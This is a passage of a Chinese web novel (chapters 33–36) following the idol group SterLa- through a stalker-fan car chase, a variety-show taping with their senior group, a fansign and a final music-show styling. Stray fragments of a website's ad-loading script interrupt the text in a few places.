几人正开心，忽然听司机说了一句坐稳。猛踩一个加速，惯性让几人不由自主地身体前倾。欣怡手撑着前面，忙问道，“怎么了？” 司机看着后视镜，声音紧张，“刚刚有人别车，现在还在后面跟着，你们系好安全带，坐稳了。” 后排的五人立即后转往后看去。后面果然跟着一辆白色奥迪，车前反光看不清楚具体的相貌，但是依稀能看出来是个长头发的女生，还穿着白色的不知道是衣服还是裙子。 不知道是不是看到他们转过头来了，副驾驶的一位女孩子竟然直接打开了车窗探出头喊道；“停车，前面的停车！” 大胆的行为引来不少周边车子的关注。 江翰飞猜测似的小声问旁边的禹安，“这就是私生吗？” 禹安嘴角紧抿，看不出一丝笑意，整张脸都绷紧了，“嗯。” 前排的欣怡恨恨骂着，“真是一群阴魂不散的神经病。” 但她又不敢开窗回应，这要是被谁拍到了，是妥妥的影响路面交通的负面新闻。 后面副驾驶上的女生还在喊，“前面的停车，我知道是你们。” 车子越发逼近。左侧车道的车见白色奥迪这么疯，不敢惹事，降低速度和他们拉开了距离。白色奥迪得了空，横插过来和他们并行。 刚刚也并行过，是司机师傅发现他们想要别停他们才猛然加速了。 果然，这次白色奥迪又开始别过来，两车距离开始拉进。副驾驶的女孩子直接伸手拍着他们的车窗：“开窗！你们给我开窗！” “你们一个新出道的男团拽什么拽，给我开窗，出来服务一下你们的粉丝！” 越听她这么说，他们越不敢动。车内都沉浸在紧张的氛围里，砰砰的敲打声像是钉子往脑子里砸，所有人除了司机都下意识放慢了呼吸，抓着手里的安全带或者座椅垫，身体像是被拧紧的弦。 “没事，你们也不用太紧张，前面路口我们打个右拐就能甩掉他们了，旁边是直行道。”司机师傅成了场上最有经验的人，“你们可千万别开窗就行，真开窗见着人了更得疯起来。” 五人紧张地点点头。听过传言，看过视频，但是第一次实际遇到这么疯狂的粉丝。 果然，司机师傅的经验丰富，在前面路口右拐之后，白色奥迪来不及变道，只能直行，就此把他们给甩开。 车里的氛围这才松弛下来。 “私生总是这样。”禹安厌烦地说到。 “你之前遇到过吗？” 禹安没有回答，侧过头看向窗外。 33.第 33 章 那天的私生事件公司本没打算说的，但终究还是被粉丝知道了。 是短视频平台的博主随手发了一段视频，吐槽说不知道白色奥迪和黑色商务车有什么恩怨，命都不顾了，把小半个身子探出去敲窗。 下面的评论本来都在感慨，还有的在猜是不是抓到男朋友或者老公出轨了，这么激动；结果一个SterLa-的团粉看了却觉得那辆车眼熟。 那天她也去参加签售了，走的时候就是看着成员们上车走的。虽然两辆车的车牌都打了一半的码，但视频里的黑色商务车的颜色和前一半车牌号都对上了，再看视频的时间，地点也能对上。 当即就把这个视频转到了粉丝群里让大家确认，结果众人从车前面的摆件确认了就是SterLa-坐的商务车。那白色的奥迪不言而喻，就是私生在跟车了。 粉群和超话顿时炸锅，粉丝们纷纷跑到公司的博文下面留言，给公司私信询问成员们的安全情况。 公司没办法，直接出来发布了声明，严禁跟车，以及成员们都安全回了公司。 但这并不难平息粉丝们的怒火，几位成员的后援会以及SterLa-的团体后援会联合向公司发了声明和邮件，要求加强成员们的安保措施。毕竟这次是别车，那下次呢？ 不光粉丝，五人当天回了宿舍后也是心有余悸，回了宿舍都没怎么说话聊天，早早上床休息了。 睡前，禹安突然问江翰飞，“你现在还觉得要满足所有粉丝的期望吗？” “就像今天我们遇见的，他们对你难道不喜欢吗？”禹安平静的陈述着，“不，她们在你身上花费的时间，精力，金钱可能比一般粉丝多的多得多。但是你要满足她们的期望吗？” 江翰飞听着禹安的话有点迷茫，他现在还能回想起那个女生使劲儿拍打窗户的声音和隔着窗户都能听见的嘶吼，让他们下车服务粉丝。 “我还是觉得你说的不对。”江翰飞慢慢说着，“她们只是其中一种，甚至是占比非常小的一部分。他们属于粉丝中的一种，但不能代表粉丝这个群体。” “这种人我只见到了他们两个，但是喜欢我们的人见到了更多。在去录制打歌的路上也好，现场也好，还有签售会上也好。如果我要因为这两个人的存在否定掉其它所有人的心意，那他们会伤心的吧？” 禹安没想到江翰飞会这么说，转念一想又觉得他说得很对。想反驳又说不出反驳的话来，很多粉丝为了见他一面请假做飞机高铁过来守在录制入口，或者花钱买几十张专辑来参加签售会。她们要的很少很少，甚至很多不求回报的粉丝在网上给他做数据，为他买专辑，买图，剪视频等等。 忽然觉得之前的自己好傻。 禹安拉高被子挡在自己脸上，闷声闷气地说了句，“私生不是粉丝。不用纠结了。” 背过身去睡觉了。 ······ 综艺录制前他们还有两场打歌节目要上。目前为止，他们还一个一位都没有拿到，这两天销量和音源上来了，也最多进个第三的候补，连第二都没拿到过。 网上也许多讨论这次十月回归大战的声音。新人男团里的IUE和SterLa-换一个出道时间，粉丝集中冲一波，说不定能摸到一些台的奖杯。但这次十月回归的人气团太多了，进前三的成绩放平时都能拿奖，所以两个反响不错的新男团反而一个奖杯都没拿到。 现在已经是十月的最后一天，IUE这周结束打歌，SterLa-下周还有最后一场打歌，估计是没什么机会了。另外同期出道的KtM音源和销量都不如这两个团，没有被提名的资格。 经过了大半个月的学习，打歌对五人已经驾轻就熟。他们销量过了10万后，虽然还是需要像其他新人团那样早早来等，但是基本上都能让他们排在早上，早上录制完中途还能出去，到了颁奖典礼的时候再回来。时间比之前自由了许多，中间还能出去休息或者安排其他的行程。 今天天气不好，节目录制结束，外面也下起暴雨来。 工作人员想让粉丝先离场，以免待会儿来录制节目的艺人们出去后，粉丝们秩序失控，在这种天气和湿滑路面上出现什么意外。 只是粉丝们大多好不容易来一次，为了来参加节目录制，不仅需要抽取名额，公布的时间还特别的紧，大多粉丝为了来一次都得提前做准备。遇上下雨就没了下班路，本来还能再见见自己偶像，趁机聊聊天的，这下子先走的话是没指望了。 粉丝们不愿意走，聚集在门口，工作人员一时也不好强硬的让他们离开，两相僵持下，七点就结束录制，拖到八点都还没离开。 不少艺人接下来还有行程安排，也管不了太多，多找了好几个工作人员维持秩序先离场了。 为了避免粉丝们围上来，直接从地下车库上车，等在路面上的出口的粉丝们，还没来得及分辨出来是哪一家的车牌号，就迅速穿进雨幕里开走了。 这样一来倒是没有出现拥挤或者摔倒的事故，只是粉丝们也不知道自己爱豆有没有离开，因此走了好几个团了，但门口的粉丝数一点不见少。 SterLa-还在休息室等着唐君君的电话。本来多等等也没什么，只是Hitting那边的经纪人下午的时候才说Hitting今天晚上能留出时间来录制综艺，晚上九点得带妆过去。这下算下时间只有一个小时，回去的车程半个小时，下雨了还得更久，再拖就没补妆的时间了。 Hitting是大热的前辈团，愿意带他们已经是公司和唐君君一起协调后的结果，轮不到他们来改录制时间。 欣怡一时也没主意。一位妆造师等的有点烦躁，问道，“就不能跟其他团一样直接走了吗？” “还是别了吧，万一出现什么事故呢，而且我们是新人男团，直接就这样走了不太好。”吴星雨当即拒绝。 妆造师自知没理，也没反驳，休息室内又陷入沉默。 江翰飞想说什么，又吞了回去。吴星雨说完转头过来正好看到，也有点烦躁的挠挠头，“阿飞，你想说什么就说吧。” 休息室内众人的眼光又落到江翰飞身上。 “我只是想，要不出去买点毛巾，纸巾，雨伞什么的，发给粉丝们然后跟他们说清楚情况，我觉得他们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会理解的。”江翰飞说完又觉得自己想的是不是太简单了，毕竟君姐还没来电话。 听完众人表情古怪不一。有的觉得确实可以试试，有的又认为江翰飞把粉丝们想的太简单了，暗中嗤笑。 “也行，那我去买吧。跟你们行程的粉丝应该都认识我了。”欣怡想着，反正等着也是等着，浪费时间不如尝试一下。录制打歌的这栋综合楼里就有一间小超市，专门供给来楼里每天来录制节目的艺人和团队。 欣怡开门出去了，江翰飞在微信上给欣怡转了三百块钱，跟她说谢谢，让欣怡帮忙再买点巧克力分给粉丝们。 他们录制了可以休息，但粉丝们如果是一直等着他们录制从头到尾的，可能已经在这儿呆了一整天，大多数时间都得站着，比他们累的多。可以先吃点巧克力补充糖分。 欣怡提着东西下楼的时候，一眼看到了几个拿着SterLa-扇子的女生。 果然还没走啊。 欣怡心里叹口气，脸上扬起一个笑脸走过去。 “你们好，辛苦了吧。我是SterLa-的助理。” 几个女生不明所以地看着她，旁边拿着各个成员个人扇子或者手幅的见是她也慢慢聚拢过来。 “宝宝们走了吗？”其中一位女生问道。 “肯定没走啊，你看她还在呢。” “对，SterLa-还没走呢。但是也准备离开了，后面还有行程。走之前担心大家在雨里一直等着，让我帮忙给大家送点东西，大家分一分就回家吧，不然SterLa-的大家担心大家的情况，又没法离场。” 欣怡一边说一边把袋子里的毛巾纸巾和巧克力拿出来，还买了几瓶热饮，再多她就提不动了。 “是他们给我们的吗？” 拿到了先塞进包里，这是爱豆给的！ “哇！” “还有行程啊，这么辛苦吗？” “公司不要安排太多行程啊，太辛苦啦；不过也不能冷藏他们啊！该有的资源还是要安排的。” 欣怡手上不停，还直点头。伞本来夹在颈边，一有动作就夹不住直往下掉。 一个背着包的女孩子一把接住她的伞，“你分吧，我给你打着。” 欣怡发完对他们说到，“别等了，雨太大了，待会儿他们直接从地下车库上车走了。” 背着包的女孩子明白欣怡的意思了，“你让他们离场吧。放心，我们不会挤上去的，我们就站在路边，等他们的车走了我们就回家。” 其他粉丝也明白过来欣怡的担忧，虽然还是很可惜见不到爱豆了，但是有爱豆送他们的东西也是一样的收获满满！ 纷纷保证，她们不会往前挤，就站着看他们车开走了她们就回家。 欣怡见这群女生语气认真，也信了几分。 转身回楼里就开始打电话安排他们到地下车库上车回公司。 果然，他们车开过的时候就见路边的女生们一边打着伞拿着手幅一边跟他们挥手拜拜。 江翰飞靠着窗边坐着，努力压着不断窜涌上来的情绪，在没开窗的车内默默跟她们挥手拜拜。 34.第 34 章 下雨天司机不敢开太快，幸好到的时候还没开始，前辈团Hitting妆造没做完。趁着这个时间，化妆师们也赶紧把SterLa-众人的妆造再补补。 晚上九点十五分，Hitting和SterLa-第一次见面。尽管两个团都是一个公司的，但出道艺人和未出道艺人往来的地方完全分隔，而他们刚出道时Hitting正在巡演，也不可能为了他们专程回一趟公司。 Hitting是个七个人团，出道已经4年了，上张回归专辑销量百万，发歌当天就冲上了跃音日榜排行的第三名，第二天升到了第一名，是粉丝口中名副其实的无短板Top男团。也因为有了Hitting，乐狮才有了与圈内头部公司掰手腕的能力，但是Hitting之后连着推出的两个男团都没什么水花，好不容易这次推出的SterLa-出道成绩亮眼，公司也重视起来，这才同意了让SterLa-上Hitting的自制综艺来扩大知名度。 明眼人都能看出来，SterLa-就是来蹭点师兄团的热度。 “你们好啊！”Hitting的队长沈和一进来就笑着和他们打起招呼。 “各位师兄好。”五人早在回来公司的车上就商量好要怎么打招呼，叫师兄总比叫前辈来的亲近。 一番简单介绍后，众人大致熟悉了一下。 “台本你们都看过了吧？”综艺导演过来问道，主要是问SterLa-，他们和Hitting都是几年的默契，该怎么做不需要多说。 “看过了。”五人答道。 “行，现场灯光再调整一下，十分钟后开拍。”综艺导演点点头，转身去做准备。 “你们别紧张。也没有故意针对你们的意思，我们的综艺台本一向是这样。”沈和笑着跟他们说道，“秦导老说，要最真实的反应才有意思，所以我们的台本只有大致环节和问题，中间的细节和笑点需要自己挖掘。” “我们团做这档综艺做了三年了，熟悉得很，有什么不明白的直接问我们就是了。” 沈和说完带着自己团去做准备，留下五人组在原地小声商量着。 “来，准备，3 2 1！” “咔——” “Hello！大家好，我们是Hitting！” “真是好久不见啦！” “也没有很久吧？我们不是每周都在综艺见吗？” “诶，不过这次我们有可是专程回来见小师弟们的。” “难道是——” “是的，就是我们新鲜出炉的小师弟们SterLa-！欢迎！！” “欢迎！” 五人进场。 “诶诶诶！停停停。”沈河突然喊道。 两个团的人停下动作，齐刷刷地向他看去：？ “一直都是自我介绍就没意思了，这次我们玩儿个新的吧。”沈河对着正前方的镜头调了下眉，露出一个坏笑，“从左到右，我们来互相介绍吧。” “比如阿浩你站在我左边，你来用一句话介绍我。” 秦正浩敛眉思索几秒：“帅气逼人的坑货？” 沈和：“······过分了嗷，我可是Rapper嗷，小心我写歌diss你嗷！” 秦正浩温温和和地笑起来。 沈和憋气，坚强地继续cue流程，“大概就是这样啦，现在就从我们的第一位开始吧！” 第一位是排在最左边的葛文山，需要形容站在旁边的禹安。 作为一个Rapper是不可能词穷的：“禹安，好吃的黑芝麻馅儿汤圆。” 禹安脸黑，葛文山也学会了，天天冲什么浪！ 闭眼，皮笑肉不笑，颇有几分咬牙切齿的味道，“谢谢你啊大山，这是说又甜又受欢迎呢吧？” 众人：哈哈哈哈哈哈！ 禹安睁开眼，转头盯着江翰飞几秒，上下飞速打量，“江翰飞，社恐的睡前大思想家。” 江翰飞愣神：？ 其他人也没明白这是什么意思，但感觉不像是好话。 禹安不管，把话筒塞进江翰飞手里。 江翰飞接过话筒，旁边是于立果：“于立果，交情天下的妈妈桑。” 其他人看着于立果露出诡异的笑容。 于立果：噗—— 于立果从江翰飞手里接过话筒，明白了，这个游戏全程叫做：一句（不是好）话形容队友。 看着吴星雨略带祈求的眼神，于立果大方的放过了他，“吴星雨，四肢发达的管家婆。” 吴星雨听着感觉比前几个好像好点，竟递给于立果一个满意的眼神，开始形容葛文山：“葛文山，需要愚公的沉默是金山。” 旁边的Hitting的成员已经笑得捂着肚子，虽然有表演的成分在，但是他们脸上的笑意和周边也笑得不行的工作人员不是假的。 导演和工作人员们也没想到这个新人团还挺有节目效果，负责控场的工作人员举起了一块大白板：“问形容原因。” 负责主持的沈和瞥见，不着痕迹地说道，“SterLa-真是个神奇的团，里面聚集着汤圆，思想家，妈妈桑，管家婆还有一座金山。” 把形容词串起来众人又是一阵发笑。 “为什么要这么形容你的队友呢？”沈和丢出问题。 葛文山沉默了两秒，居然说道，“跟着师兄秦正浩学的。” 因为举例的时候秦正浩说沈和是坑货，所以葛文山以为就是需要这种风格的形容。结果他一带头，后续的五人也跟着走歪。 众人反应过来又是一阵笑，Hitting团内笑得尤其大声，除了沈和假装黑着脸，其余人都乐不可支，江翰飞他们几人作为后辈团不敢笑得太放肆，一个个都假装咳嗽似的拿手捂着嘴笑，但是浓烈的笑意还是从笑眯的眼睛露了出来。 沈和赶紧打断，“谁问你这个呢，我们想知道，为什么要用‘好吃的黑芝麻汤圆’来形容队友禹安！” 葛文山又是一语惊人；“因为禹安是门面还是个白切黑。” 禹安咬牙瞪了一眼葛文山，都说少上网少冲浪！学的什么破词儿！ “哦~”众人意味深长的拖长了语调。 禹安从葛文山手里拿过话筒，自动进入流程，“我会这么形容阿飞是因为阿飞看起来不太好接近，是个是个超级大社恐，亲眼见过他因为尴尬五秒内直接连耳根都红透了！” 江翰飞身体一僵，脑子里开始回放起许多记忆，比如上第一次舞蹈课穿着的拖鞋，比如几周前第一次打歌采访说错话······ 禹安又瞥他一眼。 “至于大思想家嘛，是因为我和阿飞同一间房，他经常在晚上睡觉之前非得拉着我讨论一些大思考，然后，搞的自己失眠睡不着了。” 江翰飞脸更红了，他确实每次夜深人静之后脑子就会喜欢想到这些有的没的。 “噢噢~阿飞已经开始脸红了！”沈和和Hitting其他人起哄，“果然是新人啊，看着阿飞脸红的时候，想到了刚和阿浩认识，阿浩也很容易脸红，现在嘛——嘶！” 话说到一半，被秦正浩温和眼睛盯着的沈和说不下去了。 果然还是不一样，一个是真白，一个是真黑啊！希望阿飞弟弟以后不要变成阿浩这样！ 众人的注意力都集中到了江翰飞身上，禹安松了口气，把话筒也塞了过去。 “江翰飞还没从刚刚被大家盯着调笑的情绪里回神，干巴巴地说道，”因为于哥和什么人都聊得来，朋友很多。而且从练习生时期就很照顾我，所以之前也开玩笑说过他是妈妈桑。” “噢~”又是一阵意味深长。 于立果接着江翰飞的话，“队长肯定不用说了，那身材杠杠的！管家婆是因为队长比较辛苦，每次排舞的时候对我们管得特别的严，错一点就要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 全部重新再跳一次，直到不出错的跳完整支舞蹈。” 这个就很正常了，隐隐夸队友也很不错。 沈和满意的往下cue流程。 吴星雨想了想，“因为文山平时不怎么说话，我们还开玩笑，如果沉默是金是真的，那文山一定是个超级大富翁。” 介绍环节到这儿就结束了。场控打了一个板，示意第一个介绍环节结束，接下来是众人的补妆时间。 综艺导演趁着这个时间又过来了一趟，“刚刚的效果挺好的，就这个节奏保持住。” 两个团的人齐齐点头，刚刚的录制挺放松的，笑也是真的，两个团距离拉近不少，秦正浩已经和江翰飞和于立果聊上了。 “我听过你们的主打曲《钢铁丛林》，挺好听的，中间你俩那段和声我觉得是整首里最出彩的部分。” “谢谢秦师兄，这段确实练习了好久。”于立果笑着接话。 “唱现场的时候，可以把这个动作改改，这样不会拉扯到你的胸腔，发声不会抖。”秦正浩看起来挺喜欢江翰飞，还给他传授了一点唱跳小技巧，“之后你有不是很明白的可以跟我说，我的经验大概比你丰富一些。” 江翰飞和于立果都喜出望外，顺着加了秦正浩的微信。秦正浩可是他们从练习生时期就一直听说的直接从C级升到A级的神人！而且出道四年多，顶级男团的前辈，要不是同一个公司，他们连话都说不上，不在一个层次！ 第二个综艺环节是Hitting的常驻节目：和Hitting一起体验100种职业。 今天的职业是咖啡拉花师。 被邀请来上节目的是一家咖啡连锁品牌的咖啡师，主要也是为了来宣传自己的店铺。 “收尾的时候需要注意，不能太快也不能太慢，同时我们的手要配合起来，这边的杯子需要同步回角度······” 咖啡师教的很快，然后就是各位成员的学习成果展示时间。 期间状况百出，比如咖啡杯忘了倾斜角度的，奶壶的高度过高导致溅得到处飞的，还有收尾太慢奶泡直接滴进花纹里的。 咖啡师面对十二个手忙脚乱的大男孩儿分身乏术。 刚从一个人身边矫正完动作，走了没两步，咖啡师发现一杯花纹完美的拉花咖啡，“咦，这是你做的吗？” “是的，我刚刚做的。”江翰飞自然回道。 咖啡师狐疑地打量了几下江翰飞，似是有点不相信一个明星能这么快把咖啡拉花掌握的这么好。 其他人听见对话也围了过来，发现江翰飞桌前的咖啡发出阵阵惊叹，“哇！阿飞你手也太巧了吧！这么快就学会了。” “你再来一个现场版，我们都没看到你怎么弄的！” 江翰飞见前辈们开口，老实的拿起一个新杯子重新开始做，熟练的加浓缩，倾斜杯子，提起奶壶，顺滑的奶泡流出，自然而然的在咖啡液表面形成一朵漂亮的牡丹。 咖啡师带着审视看着江翰飞的动作，非常标准和熟练，绝对不是今天才学会的！ “哇！阿飞你这手太厉害了！” “学得这么快吗！” 江翰飞有条不紊的拉高奶壶向前推移，利落地做着收尾。 完成，轻轻地把咖啡放在桌面上才说道，“以前做过，所以比较熟练。” 于立果插话道，“诶，这咖啡看起来好喝，要不给我吧！” “别想！我的！”视线又聚焦到开始抢咖啡的几人身上，其他人嫌弃的看了他们几眼，默默回自己的小桌子前继续练习。 我们自己做！哼！ ······ 综艺一直录制到凌晨两点才结束。 两个团相熟不少，又喝了不少录制中的咖啡，现在精神饱满完全睡不着又约着一起去吃了宵夜。 凌晨五点宵夜结束，SterLa-五人回宿舍匆匆洗了个澡直奔造型室，今天还有签售呢！ 35.第 35 章 这是SterLa-本次回归的最后一场签售。 公司也没想到一个出道团能冲到10w+的销量，好多专辑都是缺货状态补不了货，让后面入坑的粉丝只能直接上二手市场收。更别提加签售场次了。 这个场次是朱朱唯一怕翻车，在SterLa-被牵连进霸凌事件，粉丝们齐刷刷冲销量的时候又反手买了一百张的场次。 毕竟这是当时唯一一场还开着的签售招募链接。后来她还庆幸自己多买了一百张，这链接在当天关闭之前的两个小时，销量一下子涨了五千多。 算下来这场签售大概是SterLa-出道的所有签售里最贵的一场了。 坐在位置上等待着SterLa-出场的朱朱如是想到。 她今天也大包小包提了一堆。也有给队友的友情礼物，剩下的都是给江翰飞买的。有手机，首饰和从帽子到鞋子的一整套服饰。 上次打歌结束他上车的时候握着手机，朱朱眼尖的看见了他的手机好像不是很好。说不是很好都是抬举了，就是一眼看上去质量就很不好的杂牌机。 朱朱隐隐约约从论坛一些似是而非的帖子里知道，江翰飞的家庭条件似乎不是特别好。但看到他一个大明星用着一千来块的手机，她真的觉得怜爱了。当天就去最近的商场买了最新款的手机。现在正躺在脚边的某个礼物盒子里。 没等多久，SterLa-就进场了，简单的介绍和聊天过后正式的签售就开始了。 轮到朱朱时，她刚坐下，江翰飞就主动跟她打着招呼：“好久不见呀朱朱姐。” 这是朱朱要求的，她本来就比江翰飞大，江翰飞叫起来也毫无压力，比叫老婆的结结巴巴轻松多了。 朱朱一边把礼物袋子拿起来，一边问道，“阿飞看起来很开心呀？有什么好事儿跟我分享吗？” 然后他就见江翰飞眼睛亮晶晶地看着她，说最近新认识了一位前辈，人非常好，教了他很多。 朱朱看着他开心自己心情也莫名欢快，把礼品袋子交给工作人员，“那太好啦！这次我有给你准备礼物，希望你能喜欢。能用上就再好不过了。” 江翰飞看着一堆带着Logo的袋子，他买过但也知道这些都是很有名的奢侈品牌，皱皱眉，“朱朱姐，能来就很开心了，不用每次都带这么多礼物来。太贵了。” “你还替我担心我的家产呢？放心吧，给你买的这点儿才多少！”朱朱虽然不差钱，但是看江翰飞替她心疼钱，有一种特别慰藉的感觉，但又不想江翰飞在这上面关注太多，“我可以帮你带发箍吗？” 这句话本来是看着后面的工作人员说的，她知道之前江翰飞帮粉丝带发卡被工作人员骂了。 江翰飞却没有回头，直接对着朱朱说道，“可以的朱朱姐，你戴吧。” 然后把头一低，等着朱朱给他戴发箍。 朱朱见工作人员点了头，拿出准备的狗耳朵发箍戴上去。这是一对哈士奇的耳朵。 朱朱一直觉得江翰飞和哈士奇有点像，远看像是高冷的狼，近看是一群哈士奇，再看是一只甜甜的毛都蓬松起来的幼年滚滚哈士奇。 果然很合适！见江翰飞戴上后，朱朱只有这个感觉。 “很合适！”朱朱开心的眯起眼，手痒痒，好想拍下来。 江翰飞好像洞察她想法似的，“那待会儿朱朱姐下台之后拍完照我再取下来吧。” 朱朱一愣，笑得更开心了，这就是她为什么喜欢江翰飞的原因啊。 可惜开心的时间总是短暂，工作人员开始催场了。 “这是最后一场签售会啦，过两天也是你们最后一场打歌了，中间有好长一段时间没有办法见面，阿飞要多多注意身体，别太累了哦！”朱朱快速地说完自己想说的话。 江翰飞直点头，哈士奇的狗耳朵随着他点头也晃动着，萌得朱朱恨不得扑上去捏捏他的狗耳朵，揉揉他的狗头。 朱朱下台之后直奔自己的座位，上面有自己的设备，拿起来对着江翰飞一阵咔咔咔后，才心满意足地欣赏起里面的图片来。 签售会结束后，工作人员照例把他们的礼物送到了专属的房间，里面堆着几次签售会以来收取的所有礼物。最近太忙了，他们都还没来得及拆开看。 今天签售结束才下午四点，时间还早，后面也没什么其他安排，几人就去了放礼物的小房间拆自己的礼物。 江翰飞蹲在一大堆礼品盒前发呆，这好像有点太多了，而且粗粗看去都是一些连他都熟识的超级大牌。 拆开最近的一个盒子，里面是一件短袖和一封信。 揭开信封口处的可爱蝴蝶贴纸，抽出里面的信纸，上面写着满满一张纸的话。 “阿飞！你好呀，写着封信的时候我正在准备去见你的路上，老实说，超级兴奋的。这是我第一次追星，第一次买专辑，第一次参加签售。一切的一切对我来说都很新奇。但是我很开心，也很享受现在的这种状态。 我不太会表达自己，没有其他小蝴蝶们那么好的文笔，只希望你不要练习得太累，不要忘记吃饭，不要生病。能快快乐乐，顺顺利利的一步步走，走到你梦想的地方，成为超级大Top，我会努力一直陪着你的！ 就像那天你对我说：“我会努力一直在的。” 当然了，就算你不是顶流，不是大Top我也会一直支持你的！ 这是作为一只普通的小蝴蝶对我们的首领阿飞的承诺。 给你的礼物是我选的T恤，练习的时候不要老穿那几件啦。偶尔也换换吧，希望你会喜欢！ 感谢你带我来到这个有星星的夜晚，黑漆漆的天空因为星星的点缀显得格外的美。” 江翰飞看完，忍不住又看了一遍，才小心翼翼地按照原来的折痕折好放回信封，又把信封放在盒子里。想了想先把盒子放回原来的地方，拿出手机对着一堆礼品盒拍了个照，然后才又拆开盒子，把里面的衣服拿出来往身上比划。 一连拆了好几个礼物盒，江翰飞每次看到信都会先拆信，看完单独放到一个盒子里，再看里面的礼物。 拆到一大堆眼熟的盒子时，江翰飞想起来，这好像是今天签售会上朱朱姐给的那一堆。 他对朱朱很有印象，不管是第一次她坐下来就调戏他叫他老公，还是每次都来的打歌和签售。 江翰飞选了一个小一点的礼物盒拆开，感觉这个盒子里放信件的概率比较大。 拆开后却愣了一下，里面放着一台最新款 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的智能手机。后面贴着一张便利贴：崽崽赶紧换手机吧，不然欣赏不了我拍的高清美图了哟！ 江翰飞把便利贴撕下来放到和所有信件一起，犹豫再三，还是直接把手机揣进了兜里，等会儿拆完礼物他就换。拆完朱朱送的一大堆，却没有找到朱朱的信件，翻找了几次，衣服都抖了好几下也没抖出个什么来。 等把大部分礼物盒拆完，江翰飞发现他真的什么都不缺了，粉丝送的帽子，眼镜，耳环，手链，戒指，香水，围巾，上衣，裤子，外套，鞋，应有尽有。 他对着那堆礼物发了好一会儿呆，吴星雨叫他吃饭的声音都没有听见，到于立果过来扯扯他胳膊他才回过神来，跟着他们吃饭去，走的时候抱着个小盒子。 “这里面装的什么？”于立果左瞅瞅，右瞅瞅地问道。 “是粉丝的信，想带回去今天晚上看。”江翰飞老实答道。 “今晚就别看了吧，明天还有打歌呢，得早点睡。“ 江翰飞紧了紧盒子，又问道，“于哥，你说我们能给粉丝买东西吗？” 于立果古怪地看他一眼，“你疯了？这么多粉丝你怎么买？怎么邮寄？” 倒是禹安听见他俩对话，凑过来说，“所有粉丝不太行，但是我们可以做逆应援。” 于立果一听想起来之前也看到过的消息，这种方式挺不错的。 江翰飞疑惑地皱皱眉看向禹安。没听过逆应援是什么，是他想的反向应援吗？ “就是我们打歌的时候，给粉丝们准备礼物。比如咖啡，糖果，小伴手礼之类的。”禹安解释道，“只是这种逆应援一般是给专场回归的歌手比较多，平常都是大家好多团一起录制节目，谁分得清是谁的粉丝呢。” 江翰飞眼睛亮了，也不用其他，可以买点大家都喜欢的小糖果，比如上次的巧克力什么的。 现在他们还没进行出道结算呢，他兜里就还有一千多块，是个妥妥的穷光蛋，只买得起巧克力了。 “那我们也不用分的太清，只说喜欢SterLa-的就可以来领取怎么样呢？”江翰飞问道。 “我觉得应该不错。”吴星雨和葛文山不知道什么时候也凑了过来，站在江翰飞的身后。 葛文山也点点头表示赞同，他之前也有这个想法，只是没具体的想法就没好意思说出口。 “那不如问问君姐吧？”禹安看着吴星雨说道，意思是让吴星雨代表大家询问唐君君可不可行。 “行，我现在就问。如果可以的话还有点时间准备。” 在几人期待的目光下吴星雨给唐君君发了消息。几分钟没回复，禹安催促着让吴星雨直接打电话得了。 吴星雨纠结了一下，他还没有主动打过电话给唐君君。 主要是不敢。 他这边儿还没鼓起勇气呢，那边唐君君的回复就过来了，“可以，让欣怡准备去了。” “可以了！可以！”吴星雨兴奋地喊道。 “嗯嗯！”江翰飞几人也莫名兴奋，“这次时间紧只能让君姐帮我们准备，下次我们可以自己准备，每人一个放在一个盒子里。感觉大家会更喜欢！” 几个大男生站在公司走廊上猴子似的兴奋讨论和叫唤，声音传出老远。 36.第 36 章 昨天唐君君同意了他们的逆应援计划却没有问他们要钱。江翰飞想问又没好意思，在做打歌的妆造的时候脑子里一直忍不住想这事儿。 心里隐隐期待着，今天来参加打歌录制的粉丝收到礼物会是什么心情呢？会不会也因为收到了准备的礼物很开心。 因为一直在兴奋逆应援的事儿，直到做完妆造江翰飞才从镜子里看见自己现在的样子。 头发喷了一次性染发剂染成了西柚粉，睫毛被夹的卷翘，在眼中和眼尾的地方用深粉色化了细细的眼线，连眉毛都刷上了一层淡淡的棕粉色眉粉，眼影搭配着在眼尾和眼皮中间的部分涂抹上了西柚色的细闪，只在灯光的照耀下露出一抹星星碎光。 显眼的浅亮发色衬托着柔润的皮肤，微微菱形的嘴唇只涂了浅浅的粉橘，整个人一改往常清冷中带着攻击性的氛围，显出柔软的样子。 “哇——”其他工作人员被奇特的氛围吸引，不由自主地看向坐在镜子前的少年，发出惊叹。 “简直像换了个人一样······”吴星雨不知什么时候站在江翰飞身后，直直地看着镜子说道。 禹安和葛文山也满目惊叹的望着他，又看看镜子里的人，反复确认这个人确实就是自己平时显得冷清的队友。 江翰飞也被镜子里的自己震惊到了，仿佛是第一次认识自己一般瞪圆了眼睛。整个动作因为柔和的氛围丝毫不显突兀，反而觉得表情稚嫩又可爱。 负责江翰飞的妆造师拿着腮红刷左看右看，即骄傲又满心遗憾地放下。现在实在是刚刚好的程度，再往深了刷一点会更适合舞台，但是再等等吧，等他们快去候场之前再补，让他们再多欣赏一下难得一见的美貌。 造型师这时也把整理的衣服拿过来。为了搭配妆容和发色的柔和氛围，衣服选择了白色为主的搭配。内衬是白色的裤子和衬衣，刚刚换上的时候没有任何异常，但是造型师拿过白色轻纱外套给江翰飞穿上，把白色衬衣最顶上的三颗扣子解开露出一大片胸膛，又拿来一条透明的白纱松松地系在脖子上当做领带。 这是最顶级的诱惑，露出大片的皮肤，却又含羞带怯似的用白色的纱带遮住一些，隐隐约约透出的是带着温度的肉色。 江翰飞脸颊有点发热，一半是被众人目光看得不太好意思了，一半心里却也知道自己现在的妆造就是一种客观的美。就像当初在健身房见到方高邈，在合宿训练里见到禹安那样，光是看见就明了美的定义。 “不得了，这个妆造真的是不得了啊。”不知道哪位工作人员在呢喃着。 听见这句话的人都在心里认同地点点头。 这造型，的确是不得了啊。 造型师心里骄傲得不行，这可是他们熬了好久才做出来的方案。出道专的最后一场打歌，积累了这么多的粉丝和目光，当然要给人重重一击留下足够深刻的印象，才能在后面颁奖礼和空白期里留住粉丝。 爱豆，终究是看舞台说话的。 主持人采访放到了舞台之后，开场的时候台上只剩下了舞台中心的灯。这是早和导演商量好的。 